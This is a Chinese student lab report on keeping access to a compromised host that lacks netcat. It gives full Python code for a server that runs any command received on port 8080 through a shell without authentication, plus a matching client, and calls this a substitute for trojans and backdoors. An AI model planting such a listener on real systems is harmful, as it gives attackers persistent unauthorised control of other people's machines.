实验场景

一名黑客入侵了一台主机之后,希望维持对这台主机的访问,遗憾的是该主机并没有安装netcat,继续发现该主机支持python2.7编程环境。这种情况下需要创建一个监听端让自己拥有控制命令行的操作权限,来替代木马和后门程序。

实验要求

编写一个python 2.7小程序,改程序可实现以下两个功能:

  1. 作为服务端监听端口,获取来自客户端的指令并执行,最后将执行结果返回给客户端。
  2. 作为客户端,向服务端的指定端口发送命令,并将服务端的返回结果打印出来

备注:考虑到python2.7版本已经比较旧了,这里我采用了python3版本编程,本质上没有太大的区别,只是一些语法部分有出入。

实验结果

本题与week2的socket编程实验类似,都是使用python对两个端口进行监听。 依照题目要求实现两个python程序,先运行server端进行监听,再运行client端。对于client端的命令输入,server端都可以监测得到。 Server端效果如图



代码见文末

实验遇到的问题及解决方案

  1. python2.7 与 python3.6的某些细节部分定义不同。
    本次实验我实现的是python3.6版本,因为一来python2.7没有继续学习的必要,二来命令行的默认路径是python3而不是2。 但是在实现的时候由于路径设置的一些问题还是遇到了python2/3之间的某些细节不同导致的报错,具体问题如下
1)raw_input() change to input()
    2)'print a ' is invalid,you should use print()
    3)'except Expection,e' change to 'except Expection as e'
    4)while using send() & sendall() have the same error: 
    a bytes-like object is required, not 'str'
        ————needs encode() and decode()
    5)windows不支持ls等命令,运行的时候会比较尴尬
复制代码
  1. python 中tab与空格混用导致的报错
  2. 在实际Cygwin端下运行 ls 与 自己调用的程序运行的 ls 结果格式不同
    ——可优化部分:在捕获到client的命令之后直接进行系统调用而不是以一块块buffer形式返回。

代码如下

Server端

#!/usr/bin/python
# -*- coding:utf-8 -*-

import socket, traceback, subprocess

host = ''
port = 8080

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(1)

while 1:
    try:
        client_socket, client_addr = s.accept()
    except Exception as e:
        traceback.print_exc()
        continue

    try:
        print("From host:", client_socket.getpeername())
        while 1:
            command = client_socket.recv(4096)
            if not len(command):
                break
            print(client_socket.getpeername()[0] + ':' + str(command))

            # 执行客户端传递过来的命令
            print(command.decode()+"\n")
            handler = subprocess.Popen(command.decode(), shell=True, stdout=subprocess.PIPE)
            output = handler.stdout.readlines()
            if output is None:
                output = []

            for one_line in output:
                client_socket.sendall(one_line)
                client_socket.sendall("\n".encode('utf-8'))

            client_socket.sendall("ok\n".encode('utf-8'))


    except Exception as e:
        traceback.print_exc()

    try:
        client_socket.close()
    except Exception as e:
        traceback.print_exc()
复制代码

Client端

#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket, sys, traceback
host = '127.0.0.1'
port = 8080

while 1:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	try:
		s.connect((host, port))
	except Exception as e:
		msg = traceback.format_exc()
		print("Connect Error:"), msg
	input_command = input("Input Command:")
	#print(input_command)
	s.send(input_command.encode())
	
	s.shutdown(1)
	#print ("Send success!")
	while 1:
		buff = s.recv(4096)
		if not len(buff):
			break
		sys.stdout.write(buff.decode())
		
	answer = input("continue? Y/N ")
	if answer == 'N':
		break	
	if answer == 'Y':
		continue
    else:
        print("input error!")


复制代码